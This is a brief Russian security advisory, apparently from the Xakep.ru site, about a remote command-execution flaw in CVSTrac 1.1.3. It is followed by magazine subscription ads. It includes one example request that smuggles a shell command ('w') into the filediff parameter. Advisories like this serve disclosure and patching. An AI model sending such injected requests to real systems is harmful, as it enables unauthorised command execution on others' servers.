Программа: CVSTrac 1.1.3
Уязвимость в CVSTrac позволяет удаленному пользователю выполнить произвольные команды на целевой системе.
Пример:
filediff?f=CVSROOT/rcsinfo &v1=1.1&v2=1.2;w;
Наши продукты
Все выпуски в PDF →-
Годовая подписка на Xakep.ru
Все статьи, PDF-архив, скидки и другие бонусы
6000₽ в год
Подписаться -
Ежеквартальный «Хакер» #4
Печатный выпуск за август–ноябрь 2026 года
2000₽
Заказать -
Ежеквартальный «Хакер» #3
Печатный выпуск за май–июль 2026 года
2000₽
Заказать -
Спецвыпуск «Хакера» #4
Избранные материалы 2021–2022 годов на бумаге
2000₽
Заказать
